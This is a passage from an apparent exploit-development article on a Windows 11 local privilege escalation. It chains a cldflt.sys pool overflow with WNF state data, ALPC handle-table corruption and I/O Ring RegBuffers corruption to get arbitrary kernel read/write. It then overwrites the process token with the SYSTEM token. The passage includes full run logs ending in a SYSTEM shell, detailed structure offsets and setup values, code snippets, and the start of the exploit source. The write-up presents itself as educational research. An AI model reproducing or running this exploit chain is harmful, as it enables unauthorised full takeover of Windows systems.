[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)
[+] Waiting for the memory to stabilize...
[+] Stage 08 COMPLETE
```

```
=======================================
    STAGE 09: ALPC RESERVES
=======================================
[+] Created 526336 total reserves
[+] Saved reserve handle: 0x0000000080000010
[+] Waiting for the memory to stabilize...
[+] Stage 09 COMPLETE

=======================================
    STAGE 10: LEAK KERNEL POINTER
=======================================
[+] Found victim WNF at index 1 (DataSize: 0xFF8)
[+] KERNEL POINTER LEAKED: 0xFFFF960F206D5900
[+] Stage 10 COMPLETE

=== FIRST WAVE SUCCESS: Leaked 0xFFFF960F206D5900 ===

=======================================
    STAGE 11: IO_RING SETUP (ALPC BOOTSTRAP)
=======================================
[*] Step A: Creating IO_RING...
[+] IO_RING created: handle=0x00000194F0E281D0
[*] Step B: Creating named pipes for IO_RING data channels...
[+] Input pipe: server=0x000000000000445C, client=0x0000000000004460
[+] Output pipe: server=0x0000000000004464, client=0x0000000000004468
[*] Step C: Finding IORING_OBJECT kernel address...
[*] IO_RING kernel handle: 0x0000000000004458
[*] Searching 65853 handles for PID=10812, Handle=0x0000000000004458...
[+] IORING_OBJECT found: 0xFFFFB68B19DF7DC0 (TypeIndex=41)
[+] IORING_OBJECT: 0xFFFFB68B19DF7DC0
[*] Step D: Allocating fake IOP_MC_BUFFER_ENTRY...
[+] Fake IOP_MC_BUFFER_ENTRY at: 0x00000194F1160000 (Type=0x0C02, Size=0x80)
[*] Step E: Allocating fake RegBuffers array...
[+] Fake RegBuffers array at: 0x00000194F1170000 -> [0x00000194F1160000]
[*] Step F: Using ALPC write to corrupt IORING_OBJECT.RegBuffers...
[*] ALPC write target: IORING_OBJECT+0xB0 = 0xFFFFB68B19DF7E70
[*] Setting up fake KALPC structures...
[+] Fake KALPC_RESERVE: 0x00000194F1180020
[+] Fake KALPC_MESSAGE: 0x00000194F1190020
[+] ExtensionBuffer -> IORING_OBJECT+0xB0: 0xFFFFB68B19DF7E70

[*] Corrupting via first WNF overflow...
[*] Victim WNF index: 1
[*] Victim WNF status: 0xC0000023, stamp: 0xC0DE, size: 0xFF8
[*] Writing fake KALPC_RESERVE pointer 0x00000194F1180020 at offset 0xFF0
[*] WNF update status: 0x00000000
[+] First WNF overflow complete - Handles array entry corrupted
[*] Sending ALPC messages with IO_RING corruption payload...
[*] pData[0] = 0x0000000000000001 (RegBuffersCount=1)
[*] pData[1] = 0x00000194F1170000 (fake RegBuffers array)
[+] ALPC messages sent
[*] Step G: Patching user-mode HIORING...
[+] HIORING patched: BufferArraySize=1, RegBufferArray=0x00000194F1170000
[+] Stage 11 COMPLETE -- IO_RING read/write primitives established

=======================================
    STAGE 12: READ KALPC_RESERVE VIA IO_RING
=======================================
[*] KALPC_RESERVE address: 0xFFFF960F206D5900
```

```
[*] Reading KALPC_RESERVE structure via IO_RING read...
[+] IO_RING read succeeded -- primitive is WORKING!
[*] KALPC_RESERVE:
    +0x00 OwnerPort:   0xFFFFB68B1D106DF0
    +0x08 HandleTable: 0xFFFF960F1DB30B68
    +0x10 Handle:      0x0000000000000010
    +0x18 Message:     0xFFFF960F142BF970
[+] ALPC_PORT: 0xFFFFB68B1D106DF0
[+] Stage 12 COMPLETE -- KALPC_RESERVE read via IO_RING

======================================
    STAGE 13: DISCOVER EPROCESS/TOKEN
======================================
[+] ALPC_PORT: 0xFFFFB68B1D106DF0
[+] EPROCESS: 0xFFFFB68B2215A0C0 (exploit_ioring)
[*] Our PID: 10812
[+] Our EPROCESS: 0xFFFFB68B2215A0C0
[+] Our Token: 0xFFFF960F20B47060
[+] SYSTEM EPROCESS: 0xFFFFB68B196A5040
[+] SYSTEM Token: 0xFFFF960F0CA5B760 (raw: 0xFFFF960F0CA5B765)
[+] Winlogon PID: 5508
[+] Stage 13 COMPLETE

======================================
    STAGE 14: TOKEN STEALING VIA IO_RING
======================================
[*] Token stealing: overwrite EPROCESS+0x4B8 with SYSTEM token
[*] Target: 0xFFFFB68B2215A578 (our EPROCESS+0x4B8)
[*] Using IO_RING write -- EXACTLY 8 bytes (no adjacent field corruption)

[*] Step A: Reading current EPROCESS+0x4B8 via IO_RING read...
IoRingRead64: addr=0xFFFFB68B2215A578 -> value=0xFFFF960F20B4706A
IoRingRead64: addr=0xFFFFB68B2215A580 -> value=0x0
[*] Current token:       0xFFFF960F20B4706A (stripped: 0xFFFF960F20B47060)
[*] Adjacent field (+0x4C0): 0x0000000000000000 (should be UNTOUCHED after write)
[*] Step B: Writing SYSTEM token via IO_RING...
[*] SYSTEM token raw: 0xFFFF960F0CA5B765
[+] IO_RING write completed (8 bytes to EPROCESS+0x4B8)
[*] Step C: Verifying token replacement via IO_RING read...
IoRingRead64: addr=0xFFFFB68B2215A578 -> value=0xFFFF960F0CA5B764
IoRingRead64: addr=0xFFFFB68B2215A580 -> value=0x0
[*] EPROCESS+0x4B8 AFTER:  0xFFFF960F0CA5B764 (stripped: 0xFFFF960F0CA5B760)
[*] EPROCESS+0x4C0 AFTER:  0x0000000000000000
[+] VERIFIED: Token successfully replaced with SYSTEM token!
[+] Our process now runs with SYSTEM identity
[+] EPROCESS+0x4C0 UNTOUCHED: 0x0000000000000000 == 0x0000000000000000
[+] 8-byte IO_RING write precision CONFIRMED!
[+] Stage 14 COMPLETE -- Token stolen via IO_RING write

======================================
    STAGE 15: SPAWN SYSTEM SHELL
======================================
[*] Token already stolen via IO_RING -- spawning shell directly
[*] No SeDebugPrivilege or parent spoofing needed
[+] Process created, PID: 10616
[+] Shell token SID: S-1-5-18

[+] ============================================
[+]   CONFIRMED: SYSTEM SHELL SPAWNED!
[+]   PID: 10616 | SID: S-1-5-18
```

```
[+] ==========================================
[+] Stage 15 COMPLETE

================================================================================
  EXPLOIT SUCCESSFUL!
================================================================================

[*] Press ENTER to cleanup and exit...


======================================
    CLEANUP
======================================
[*] IO_RING self-cleanup: zeroing RegBuffersCount + RegBuffers (single 16-byte write)...
[+] IO_RING RegBuffers zeroed (CQE: 0x00000000, single op, safe to close)
[*] Closing 2048 ALPC ports...
[+] ALPC ports closed
[+] Cleanup complete

C:\Users\aborges\Desktop\RESEARCH>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges\Desktop\RESEARCH>whoami
nt authority\system

C:\Users\aborges\Desktop\RESEARCH>ver

Microsoft Windows [Version 10.0.22631.2428]

C:\Users\aborges\Desktop\RESEARCH>
```

05.04. Additional comments

This subsection brings some further details about the exploit, which can be interpreted as a supplemental of Exploit Overview subsection.

One of first task was removing many constants, variables and even structures that were used in the first I/O Ring version, mainly because this second version does not use pipe read-primitive. It is strange because it seems to be something easy to do, but it is not and the result makes different and produces a cleaner code. On the other hand, I have included a few helper functions named IoRingReadKernel, IoRingReadKernel64 and IoRingWriteKernel, which reflect a meaningful advantage because IoRingReadKernel is more reliable then the pipe read primitive, and each end is independent. Furthermore, as the exploit does no longer needs of pipe read primitive, multiple old stages (stage 11 to 20) have been removed because the second wave only existed due to this read primitive.

Real changes start in Stage 11. In the stage, due to I/O Ring mechanism, two named pipes are created:

- Input: \\.\pipe\ioring_input_<PID> (for IoRingWriteKernel)
- Output: \\.\pipe\ioring_output_<PID> (for IoRingReadKernel)

The original ALPC write primitive is kept, and it converts a WNF out-of-boundary write into an arbitrary kernel write by corrupting the ALPC handle table to redirect the kernel's KALPC_RESERVE resolution chain into user-mode fake structures. In general, this stage takes five steps, where in step 01 the g_fake_kalpc_reserve_object is a user-mode buffer that mimics a real KALPC_RESERVE kernel object, and it represents a kind of object emulation (the term is not the most appropriate, but it reflects the goal). In step2, the exploit performs the KALPC_RESERVE and KALPC_MESSAGE construction. About the fake KALPC_RESERVE, details on how it is populated are as follows:

- KALPC_RESERVE.OwnerPort = g_alpc_port_addr (kernel _ALPC_PORT*, needed for reference counting in AlpcpReceiveMessage).
- KALPC_RESERVE.HandleTable = g_alpc_handle_table_addr (kernel PVOID, real handle table address so the kernel's lookup finds valid context).
- KALPC_RESERVE.Handle = g_saved_reserve_handle (HANDLE, must match the MessageId used in the ALPC send and this is how the kernel resolves which reserve to use).
- KALPC_RESERVE.Message = pointer to g_fake_kalpc_message_object (user-mode KALPC_MESSAGE*).

About the fake KALPC_MESSAGE structure, details on how it is populated are as follows:

- KALPC_MESSAGE.ExtensionBuffer = g_ioring_object_addr + IORING_OBJECT.RegBuffersCount offset. This is the write target, where the kernel will copy the message body to this address.
- KALPC_MESSAGE.ExtensionBufferSize = 0x10 (16 bytes). This is the minimum allowed size. Sizes below 0x10 are silently skipped by the kernel (as I painfully learned in exploit_alpc_edition.c in ERS 06).

The kernel write path when the ALPC message is processed by calling NtAlpcSendWaitReceivePort function then AlpcpReceiveMessage function. It looks up KALPC_RESERVE via HandleTable[MessageId] and follows KALPC_RESERVE.Message → fake KALPC_MESSAGE. Finally, it copies message body (16 bytes) to KALPC_MESSAGE.ExtensionBuffer (= IORING_OBJECT.RegBuffersCount).

In Step 3, the exploit performs an WNF re-overflow (_ALPC_HANDLE_TABLE corruption) by starting the process calling NtUpdateWnfStateData function on g_wnf_names[g_victim_index] with crafted WNF_STATE_DATA payload. The cldflt overflow from Stage 8 extended the adjacent WNF_STATE_DATA.AllocatedSize and WNF_STATE_DATA.DataSize, so this NtUpdateWnfStateData function call writes beyond the original WNF boundary. At byte offset +0xFF0 within the WNF_STATE_DATA (the overflow region), it writes the address of g_fake_kalpc_reserve_object + 0x20 (the start of the fake KALPC_RESERVE fields, past the pool header emulation). This overwrites an entry in the _ALPC_HANDLE_TABLE structure, which is the kernel indexes by MessageId to resolve KALPC_RESERVE pointers. After this write operation, _ALPC_HANDLE_TABLE[g_saved_reserve_handle] now points to our user-mode fake KALPC_RESERVE structure instead of the real one.

In step 4, the exploit performs ALPC message spray (IORING_OBJECT corruption) and starts the procedure calling NtAlpcSendWaitReceivePort function that sends an ALPC_MESSAGE across all g_alpc_ports[] (0x800 _ALPC_PORT handles) with ALPC_MESSAGE.PortMessage.MessageId = g_saved_reserve_handle, where the 16-byte message body (ALPC_MESSAGE.PortMessage data region) contains the IO_RING corruption payload. Only one port's _ALPC_HANDLE_TABLE contains the corrupted entry, and the rest fail harmlessly (MessageId not found). For the matching port, the kernel follows the sequence

_ALPC_HANDLE_TABLE[MessageId] → fake KALPC_RESERVE → KALPC_RESERVE.Message → fake KALPC_MESSAGE → copies 16 bytes from the message body to KALPC_MESSAGE.ExtensionBuffer (= &IORING_OBJECT.RegBuffersCount). At the end, this single 16-byte write overwrites both IORING_OBJECT.RegBuffersCount and IORING_OBJECT.RegBuffers, which is an advantage because we updated both field with only one write operation.

In Step 05 the exploit performs HIORING user-mode patching to reflect kernel side structure changes. After these 5 steps, the exploit has both I/O Ring read and I/O Ring write primitives via the corrupted IORING_OBJECT.RegBuffers → g_fake_buffers_array → g_fake_buffer_entry chain. The ALPC write mechanism itself is reused from the original ALPC Edition, but only the write target (IORING_OBJECT.RegBuffersCount) and payload values are specific to the I/O Ring bootstrap.

Stage 12 is a new implementation, where the exploit performs KALPC_RESERVE via I/O Ring, and with a dual purpose that is to extract KALPC_RESERVE fields that are needed for _EPROCESS discovery and also verify that the I/O Ring read-primitive really works. Therefore, the exploit starts by reading 0x20 bytes of the KALPC_RESERVE structure at the kernel address leaked in Stage 10, and extracts the following fields:

- g_alpc_port_addr holds the address of KALPC_RESERVE.OwnerPort, which contains a pointer to the _ALPC_PORT that owns this reserve. This is the path for _EPROCESS discovery, with ALPC_PORT.OwnerProcess pointing to the _EPROCESS structure.
- g_alpc_handle_table_addr holds the address of KALPC_RESERVE.HandleTable, which contains a pointer to the _ALPC_HANDLE_TABLE. It is worth noting that this value is stored for reference but not directly used in subsequent stages.
- g_alpc_message_addr holds the address of KALPC_RESERVE.Message, which is a pointer to the _KALPC_MESSAGE associated with this reserve. Once again, it is worth noting that the Handle is skipped.

The following step is to validate the content of g_alpc_port_addr variable with IsKernelPointer function and using the fact that all Windows kernel-mode pointers on x64 have the top 16 bits set to 0xFFFF (canonical form). As result, a pointer that does not match means either the I/O Ring read returned garbage (ALPC bootstrap failed), or the leaked KALPC_RESERVE address was wrong, and both facts happened during the process of exploit development before implementing such a verification. Actually, if IoRingReadKernel function fails here, it means the ALPC bootstrap in Stage 11 did not successfully corrupt IORING_OBJECT.RegBuffers. The stage returns FALSE and the exploit aborts — no need for the explicit pre/post verification that Edition 01 had.

In Stage 13, the exploit perform tasks for _EPROCESS and Token discovery, which was slightly rewritten by the way. Instead of using ReadKernelBuffer and ReadKernel64 function as used for pipe reading in previous edition of this exploit, here are used IoRingReadKernel and IoRingReadKernel64 functions because the focus is the I/O Ring read operation. In terms of logic, it is quite identical to the previous one and initiated by reading _ALPC_PORT data (0x200 bytes) from g_alpc_port_addr via IoRingReadKernel function. Afterwards, _ALPC_PORT.OwnerProcess field content is extracted and stored into g_eprocess_addr, which holds the _EPROCESS of the process that created the ALPC port that, in this case is our exploit process. The process address (g_process_addr) is validated using IsKernelPointer function and, in case of any failure, a fallback scan reads offsets 0x10 (_ALPC_PORT structure) through 0x38 (_ALPC_PORT structure) in 8-byte steps looking for a valid kernel pointer. This handles minor structure layout differences. The next step is to walk the doubly-linked EPROCESS.ActiveProcessLinks list that is rooted at _EPROCESS.ActiveProcessLinks (a

_LIST_ENTRY). Each read fetches a 0x180-byte chunk starting at the current _EPROCESS.UniqueProcessId, and it is relevant to underscore that the offsets within this chunk, which are shown in the code, are relative to UniqueProcessId (0x440). To the Token stripping, where _EX_FAST_REF stores the pointer with the low 4 bits (used as a reference count), the exploit gets actual _TOKEN pointer by doing token = token_raw & ~0xF. The next goal is performing a process matching to find the PID and token (stripped and full Token) of System process and also find the PID and token (stripped Token) of the own process (exploit). Additionally, the PID of winlogon.exe is also found. As I have already mentioned, I have limited the number of processes for scanning in 500, and it could need to be adjusted.

In Stage 14, which has been divided in many small steps, the token stealing procedure is performed by adopting a simplified and much more efficient approach using IoRingWriteKernel and IoRingReadKernel64 functions. Taking a different path to accomplish the task proved to be an infinitely better choice because the “address as value” bug has being completely circumvented.

As an educational review, in the previous exploit (second from ERS 07), the pipe read primitive worked by calling RefreshPipeCorruption function, which re-corrupts a pipe attribute's Flink pointer via WNF re-overflow, setting the fake pipe attribute's ValueAddress = target_addr. Afterwards, NtFsControlFile function is invoked and kernel reads from ValueAddress, returning the bytes at target_addr. After Stage 22's ALPC operations, which sends messages across 0x800 ports and triggers KALPC_RESERVE allocation/deallocation, the paged pool layout is destabilized. Thus, the WNF re-overflow in RefreshPipeCorruption function could miss its intended target because instead of writing target_addr into the pipe attribute's ValueAddress, the address itself could end up as the "value" returned by FSCTL_PIPE_GET_PIPE_ATTRIBUTE. Honestly, it caused multiple issues up to adapting the exploit to an acceptable handling. Thus, if ReadKernel64 function returns address itself (the address we asked to read, not the data at that address), the pipe read is broken. Hence the check and flag that I established (if (pre_token == token_target) pipe_read_reliable = FALSE;).

In this version of the exploit the described side effect does not happen because I/O Ring read operates through the IORING_OBJECT.RegBuffers pointer, which was set just one in Stage 11 and never needs re-corruption. Each IoRingReadKernel function call simply updates g_fake_buffer_entry->Address field in user memory (no kernel heap manipulation), submits the I/O Rinng operation, and reads the result from the output pipe. Therefore, completely stateless, and independent, and at the end, the pipe_read_reliable flag and all its conditional logic is eliminated.

The next step is responsible for writing the System token, which was terribly simplified and uses only IoRingWriteKernel function, which encapsulates the I/O Ring mechanism by setting g_fake_buffer_entry→Address = token_target (_EPROCESS.Token), making g_fake_buffer_entry → Length = 8, calling WriteFile function to place the raw system token into input pipe server (g_input_pipe_server) and finally calling BuildIoRingReadFile, SubmitIoRing and PopIoRingCompletion function sequentially. As I already underscored, the write is precise and limited to 0x08 bytes, where _EX_FAST_REF value g_system_token_raw overwrites _EPROCESS.Token field. The post-read verification is also simplified because the exploit only uses IoRingReadKernel64 function, which always works because I/O Ring is always reliable too.

In Stage 15, the shell is spawned exactly as it was done in exploit_ioring_edtion_01. In terms of cleanup stage, multiple cleaning tasks have been added such as calling IoRingWriteKernel function to set RegBuffersCount=0 and RegBuffers=NULL in single operation. Afterwards, there is the reset of HIORING

user-mode RegBufferArray and BufferArraySize fields to prevents user-mode code from accessing the fake buffer array. CloseIoRing function is called and there is not any problem because RegBuffersCount=0, so kernel won't enumerate buffers. Following this task, all ALPC port are closed, VirtualFree function is called to remove kernel references to g_fake_kalpc_reserve_object and _fake_kalpc_message_object memory and client and server output and input pipes are closed.

This finishes observations about this exploit.

06. I/O Ring Exploit (technique 03) | no ALPC

06.01. Exploit overview

This version of the exploit using I/O Ring is considered a pure-version code because ALPC is eliminated, which will make the exploit smaller than previous ones and with less stages too. As consequence, a single cdlflt overflow corrupts a WNF header, then WNF OOB read/write directly targets an I/O Ring IORING_OBJECT.RegBuffers.RegBuffers array and there is no requirement of using ALPC ports, KALPC_RESERVE, ALPC messages, fake KALPC, handle corruption or any other trick this time.

To make this approach feasible, exploit makes use of two known structures. The first one is WNF_STATE_DATA structure, composed of a 0x10-byte header plus 0xFF0 bytes of data, totaling 0x1000 bytes. The second structure is IORING_OBJECT.RegBuffers.RegBuffers arrays, which contains 0x200 pointer entries and each entry has 8 bytes, totaling 0x1000 bytes). The structures, which have the same size, are located in the same size class (or same range if you prefer) of the PagedPool. On Windows 11 23H2 (and Windows 11 22H2 and Windows 10 22H2), they compete for the same free slots within the Segment Heap's Variable Size (VS) subsegments, where the responsible is the associated allocator component that services paged pool allocations in this size range. Since our allocations are 0x1000-byte, they are serviced by the VS subsegment allocator.

The approach spray plus holes technique exploits this same-size-class property in two phases, whose dynamic you have learned from previous articles. First, the exploit sprays a sequential block of WNF_STATE_DATA structure allocations (all 0x1000 bytes) using NtUpdateWnfStateData function to fill the current VS subsegment and forces the allocator to carve new pages. These WNF objects land contiguously in memory. Second, exploit frees every other WNF (odd-indexed in this case), creating a pattern of alternating occupied and free 0x1000-byte slots. When exploit creates I/O Ring objects and register buffers, the resulting IORING_OBJECT.RegBuffers array (also 0x1000 bytes) fills exactly those freed slots and, more important, it lands adjacent to the surviving (after holes creations) WNF objects.

This adjacency is what allows the WNF OOB write (16 bytes past the WNF boundary), by extending the victim WNF DataSize field, to reach the first entry of a neighboring IORING_OBJECT.RegBuffers array. By reading RegBuffers[0], the exploit leaks a kernel IOP_MC_BUFFER_ENTRY pointer (0x08 bytes). Additionally, by writing to that same location, it replaces RegBuffers[0] with a pointer to a user-mode fake IOP_MC_BUFFER_ENTRY. From that point forward, any I/O Ring operation on that ring using buffer index 0 resolves through the attacker's fake entry, providing arbitrary kernel read/write primitive.

The subtle detail in the exploit mechanic, which is the fact that I/O Ring spray must happen after the overflow and not before for making possible to corrupt the RegBuffers arrays instead of an WNF header.

The memory layout is something like:

[WNF1] [RegBufA] [WNF3] [cldflt overflow →] [corrupted_WNF5] [RegBufB] [WNF7]

Before proceeding, and as a refresh, we will use the following facts:

- IO_RING READ: BuildIoRingWriteFile reads from kernel address → to pipe.
- IO_RING WRITE: BuildIoRingReadFile reads from pipe → to kernel address.
- _EPROCESS discovery via PsInitialSystemProcess function (no ALPC chain this time).

06.02. Exploit logic and architecture decisions

As I have explained in the overview section, the core change of this version of exploit is that it transforms the WNF out-of-bounds capability into a full I/O Ring read/write primitive, and it changes everything. Actually, readers quickly realize that the first part of the challenge is divided in four parts. In part A, the objective is to identify the corrupted WNF, which is a really critical task and is not trivial. The exploit scans odd-indexed WNF names (even indices were deleted to create holes, but it was my personal choice) by calling NtQueryWnfStateData function with a null output buffer. For an uncorrupted WNF, this returns STATUS_BUFFER_TOO_SMALL status with a size of 0xFF0 (the normal DataSize value). For the corrupted WNF, it returns a size of 0xFF8 (the extended DataSize) and a ChangeStamp of 0xC0DE (the marker written by the overflow payload). When found, the index is saved as g_victim_index. In ERS_06 article, I spent a few hours making this simple logic work appropriately.

Part B performs the out-of-bounds read. The exploit allocates a buffer with size 0xFF8 + 0x10 bytes, and calls NtQueryWnfStateData function on the corrupted WNF, reading the full 0xFF8 bytes. The first 0xFF0 bytes are the WNF's normal inline data as I have already commented previously. The 8 bytes at offset 0xFF0 are out-of-bounds because they fall into the adjacent pool allocation, which (after the IO_RING spray) is a RegBuffers array. Specifically, they correspond to RegBuffers[0], the first pointer in the array. This pointer is a kernel-mode IOP_MC_BUFFER_ENTRY address, which the exploit validates with IsKernelPointer function (checking that the high 16 bits are 0xFFFF, that the value is not 0xFFFFFFFFFFFFFFFF, and that it does not match WNF fill patterns like 0x5151515151515151). The validated pointer is saved as g_leaked_regbuf_entry.

Part C allocates the fake IOP_MC_BUFFER_ENTRY in user-mode memory via VirtualAlloc function. One of critical points in this phase is to setup the appropriate values like Type=0x0C02 (the kernel validates this marker in IopIoRingGetBuffer), Size=0x80 (structural consistency), ReferenceCount=1 (prevents premature free during cleanup because a zero refcount would cause the kernel to skip the buffer and during the exploit development I had setup zero by mistake), AccessMode=1 (it is a kind of KernelMode bypass, which lets the kernel I/O path proceed without re-validating user-mode addresses), and Mdl=NULL (a non-NULL value would cause the kernel to call MmUnlockPages function on the pointer during cleanup, resulting in crash). The Address and Length fields are left at zero and set dynamically before each IoRingReadKernel or IoRingWriteKernel function call.

Part D performs the out-of-bounds write, which is the other part of the full I/O Ring read/write primitive. The exploit allocates 0xFF8 bytes (as done in other phases), fills the first 0x200 with a padding marker (0x48), which could be any other, and places the user-mode fake IOP_MC_BUFFER_ENTRY pointer at offset 0xFF0 by doing **(ULONG64*)(overflow_data + 0xFF0) = (ULONG64)g_fake_buffer_entry*. This is the trick where we redirect the write to a user-mode address. In the following step the exploit calls NtUpdateWnfStateData function on the corrupted WNF with 0xFF8 bytes of data and ChangeStamp field set to CHANGE_STAMP_FIRST (0xC0DE -- my personal choice) to match the current stamp. The WNF's extended DataSize of 0xFF8 allows this update to write the full 0xFF8 bytes, which the first 0xFF0 bytes fill the WNF data area, and the final 8 bytes overflow into the adjacent RegBuffers array, replacing RegBuffers[0] with the fake entry pointer.

After this point, the interesting result is that only one I/O Ring among the 256 sprayed has its RegBuffers[0] pointing to the user-mode fake IOP_MC_BUFFER_ENTRY instead of the original kernel IOP_MC_BUFFER_ENTRY. Any I/O Ring operation on that ring using buffer index 0 will now resolve through the attacker's fake entry (hopefully), giving full control over the kernel read/write target address and size.

Once again, the challenge is to identify a corrupted object returns at this point, but this time the exploit needs to discover that of the 256 sprayed I/O Rings has the corrupted RegBuffers[0]. The approach is a systematic scan that exploits the difference in behavior between corrupted and non-corrupted ring, and it is performed in Stage 10. Honestly, I have not tried alternative approaches, and likely there are much better solutions that this one, but as the number of sprayed I/O Ring is small (only 256), so scanning them does not consume too much time. The procedure is composed of three steps, which in Step A the first one the exploit creates the input and output named pipes that will serve as the data channel for I/O Ring operations. The pipe configuration is identical to edition 02 of this exploit. In Step B, the exploit configures the fake IOP_MC_BUFFER_ENTRY to read the leaked IOP_MC_BUFFER_ENTRY header:

```
g_fake_buffer_entry → Address = (PVOID)g_leaked_regbuf_entry;
g_fake_buffer_entry → Length  = 8;
```

This tells the I/O Ring to read 8 bytes from the address of the original IOP_MC_BUFFER_ENTRY that was in RegBuffers[0] before corruption. The exploit then iterates through all 256 IO_RINGs, performing a BuildIoRingWriteFile + SubmitIoRing + PopIoRingCompletion + ReadFile functions call sequence on each one using buffer index 0. As expected, for non-corrupted I/O Rings, RegBuffers[0] still points to the legitimate kernel IOP_MC_BUFFER_ENTRY that was created during buffer registration.

The legitimate entry's Address field points to the user-mode g_shared_user_buffer (filled with 0x42 during Stage 3). The kernel reads 8 bytes from that user-mode buffer and writes them to the output pipe. The exploit reads 0x4242424242424242 from the pipe. However, for the corrupted I/O Ring, RegBuffers[0] points to g_fake_buffer_entry (the user-mode fake entry).

The fake entry's Address is set to g_leaked_regbuf_entry (the kernel address of the original IOP_MC_BUFFER_ENTRY). The kernel reads 8 bytes from that kernel address, which are the first 8 bytes of the IOP_MC_BUFFER_ENTRY structure, and writes them to the output pipe. The exploit reads the Type field (0x0C02 at offset 0x00) and the Size field (0x80 at offset 0x04) and perform a signature check that uses both fields simultaneously as shown below:

```
USHORT type_val = *(USHORT*)probe;       // offset 0: Type
ULONG  size_val = *(ULONG*)(probe + 4); // offset 4: Size
```

```
if (type_val == 0x0C02 && size_val == 0x80):
        g_corrupted_ioring_index = i;
```

Eventually, the probing mechanism can be a bit misleading, and the sequence below could help.

When the exploit does an I/O Ring read using buffer index 0, the following sequence occurs:

- Kernel resolves RegBuffers[0], which gets kernel pointer to IOP_MC_BUFFER_ENTRY.
- Kernel reads IOP_MC_BUFFER_ENTRY.Address, which gets user-mode g_shared_user_buffer.
- Kernel reads from g_shared_user_buffer, which gets 0x4242424242424242.
- Kernel writes that data to the output pipe.
- Exploit reads 0x4242424242424242 from pipe and non-corrupted ring is confirmed.

For the corrupted ring:

- Kernel resolves RegBuffers[0], which gets user-mode g_fake_buffer_entry (the corruption).
- Kernel reads g_fake_buffer_entry.Address, which gets g_leaked_regbuf_entry (kernel address).
- Kernel reads from kernel address, which gets actual kernel data.
- Kernel writes that to pipe.
- Exploit reads kernel data from pipe, but it is not 0x4242...Therefore, the corrupted ring has been found.

Actually, it is necessary to check both fields to eliminate false positives because the 0x42-filled user buffer would produce type_val=0x4242 and size_val=0x42424242, neither of which matches the expected kernel structure signature.

In Step C the exploit verifies the read primitive by reading IOP_MC_BUFFER_ENTRY.ReferenceCount field. A value of 1 or greater (as explained, and I explained reason on it previously) confirms a valid buffer entry and demonstrates that the full I/O read pipeline, which is made up of user-mode fake entry, kernel read from specified address, pipe transfer, user retrieval, is indeed working and operational.

A last and relevant piece of code that has changed was the procedure of discovering System _EPROCESS. In previous exploit versions, we used a kind of ALPC chain to accomplish this task: KALPC_RESERVE → KALPC_RESERVE.OwnerPort → ALPC_PORT+0x18 (OwnerProcess) → _EPROCESS. It worked well, but in this current exploit version we do not use ALPC structures, and it forces the exploit to follow another approach, which is composed of five steps, which is performed by Stage 11.

Step A obtains the ntoskrnl.exe kernel base address via NtQuerySystemInformation function with class 11 (SystemModuleInformation). This API returns an RTL_PROCESS_MODULES structure containing an array of RTL_PROCESS_MODULE_INFORMATION entries, one per loaded kernel module. The first module (Modules[0]) is always ntoskrnl.exe, and its ImageBase field provides the kernel base address. The call works at medium integrity on Windows 11 23H2, requiring no special privileges. The exploit starts with a 64KB buffer and retries with doubled size up to 5 times if NtQuerySystemInformation function returns STATUS_INFO_LENGTH_MISMATCH (0xC0000004).

Step B finds the RVA (Relative Virtual Address) of PsInitialSystemProcess by loading ntoskrnl.exe into user-mode address space:

```
HMODULE hLocalNtos = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
FARPROC pLocal = GetProcAddress(hLocalNtos, "PsInitialSystemProcess");
```

```
ULONG64 rva = (ULONG64)pLocal - (ULONG64)hLocalNtos;
ULONG64 kernel_ps_initial = g_ntoskrnl_base + rva;
FreeLibrary(hLocalNtos);
```

Explaining the code above, the DONT_RESOLVE_DLL_REFERENCES flag (0x00000001) maps the PE image into user-mode address space without resolving imports or calling DllMain routine. This is safe for symbol lookup because only the export table is needed. PsInitialSystemProcess is an exported kernel global variable of type PEPROCESS that always points to the System process (PID 4). The RVA is stable within a given ntoskrnl.exe build.

In Step C, the exploit reads the System _EPROCESS pointer from the kernel global using:

```
IoRingReadKernel64(kernel_ps_initial, &system_eprocess);
```

This routine reads 8 bytes from the kernel address, yielding the _EPROCESS pointer value. The exploit validates it by reading _EPROCESS.UniqueProcessId at offset 0x440 and confirming it equals 4. In Step D the exploit reads the System token:

```
IoRingReadKernel64(g_system_eprocess + 0x4B8, &system_token_raw);
g_system_token = system_token_raw & ~0xFULL;
```

The _EX_FAST_REF structure format stores the _TOKEN pointer in the upper 60 bits and a reference count in the low 4 bits. Stripping with ~0xF gives the actual _TOKEN address for comparison purposes, while the raw value (including reference count bits) is preserved for the actual token write.

In Step E, the exploit walks the _EPROCESS.ActiveProcessLinks doubly-linked list and, starting from the System _EPROCESS at offset 0x448 (ActiveProcessLinks.Flink), the exploit reads each Flink pointer, subtracts the ActiveProcessLinks offset to get the _EPROCESS base, and reads the UniqueProcessId (0x440) and ImageFileName (0x5A8) from each process. It searches for the exploit process (matching the current PID via GetCurrentProcessId function) and winlogon.exe (for validation). The walk terminates when both are found or after 500 iterations (a safety limit, since typical systems have 150 to 200 processes, but readers should evaluate it for each case). Each iteration involves approximately 3 IoRingReadKernel64 or IoRingReadKernel function calls, totaling roughly 1500 I/O Ring operations for the walk, which does not cause serious disturbing on system.

Personally, this approach has several advantages over the ALPC chain method, and it is clearer and easier because PsInitialSystemProcess is always exported and goes directly to the System _EPROCESS (PID 4) without guessing. NtQuerySystemInformation class 11 works at medium integrity. The RVA calculation requires only 2 standard API calls (LoadLibraryExA and GetProcAddress functions) versus the multi-step ALPC chain traversal.

06.03. Exploit code

The exploit_ioring_edition_03.c exploit code follows as shown below:

```
#include <Windows.h>
#include <cfapi.h>
#include <winioctl.h>
```

```
#include <ShlObj.h>
#include <stdio.h>
#include <memory>
#include <initguid.h>
#include <guiddef.h>
#include <sddl.h>
#include <ntstatus.h>
#include <ioringapi.h>

#pragma comment(lib, "Cldapi.lib")

DEFINE_GUID(ProviderId,
    0x1b4f2a33, 0xb1b3, 0x40c0,
    0xba, 0x5a, 0x06, 0x34, 0xec, 0x63, 0xde, 0x00);

typedef enum _HSM_CONSTANTS {
    HSM_BITMAP_MAGIC = 0x70527442,
    HSM_FILE_MAGIC = 0x70526546,
    HSM_DATA_HAVE_CRC = 0x02,
    HSM_ELEMENT_TYPE_UINT64 = 0x06,
    HSM_ELEMENT_TYPE_BYTE = 0x07,
    HSM_ELEMENT_TYPE_UINT32 = 0x0A,
    HSM_ELEMENT_TYPE_MAX = 0x10,
